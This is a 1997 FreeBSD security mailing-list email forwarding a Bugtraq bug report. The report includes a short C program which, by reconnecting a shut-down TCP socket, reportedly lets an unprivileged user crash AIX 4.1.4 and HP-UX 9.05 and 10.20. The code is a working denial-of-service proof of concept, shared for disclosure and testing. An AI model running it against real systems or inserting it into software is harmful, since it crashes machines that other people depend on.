Date: Fri, 7 Mar 1997 20:09:03 +0100 From: Ollivier Robert <roberto@eurocontrol.fr> To: security@freebsd.org Subject: Fwd: Bug in connect() for aix 4.1.4 ? Message-ID: <19970307200903.47617@caerdonn.eurocontrol.fr>
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Can someone try this on a *non critical* FreeBSD system ? I can crash HP-UX 9.05 and 10.20 easily with it... -----Forwarded message from Cahya Wirawan <cwirawan@EMAIL.ARCHLAB.TUWIEN.AC.AT>----- Date: Wed, 5 Mar 1997 13:23:54 +0100 From: Cahya Wirawan <cwirawan@EMAIL.ARCHLAB.TUWIEN.AC.AT> Subject: Bug in connect() for aix 4.1.4 ? To: BUGTRAQ@NETSPACE.ORG Can someone tell me why this simple tcp program crashes aix 4.1.4 . I run this program as a normal user, and the second connect crashes aix. is it just connect's old bug from aix ? i have tried it in aix 3.2 but it works only in 4.1.4. _____________________________________________________________________ #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <sys/time.h> #include <netdb.h> #include <stdio.h> main() { int sock; struct sockaddr_in server; struct hostent *hp; sock = socket(AF_INET, SOCK_STREAM, 0); /* or sock = socket(AF_INET, SOCK_STREAM, 6); */ hp = gethostbyname("localhost"); bcopy((char*)hp->h_addr, (char*)&server.sin_addr, hp->h_length); server.sin_family = AF_INET; server.sin_port = 23; connect(sock, (struct sockaddr *)&server, sizeof server); shutdown(sock, 2); server.sin_port = 24; connect(sock, (struct sockaddr *)&server, sizeof server); } _________________________________________________________________________ Cahya Wirawan. -----End of forwarded message----- -- Ollivier ROBERT -=- Eurocontrol EEC/TS -=- Ollivier.Robert@eurocontrol.fr
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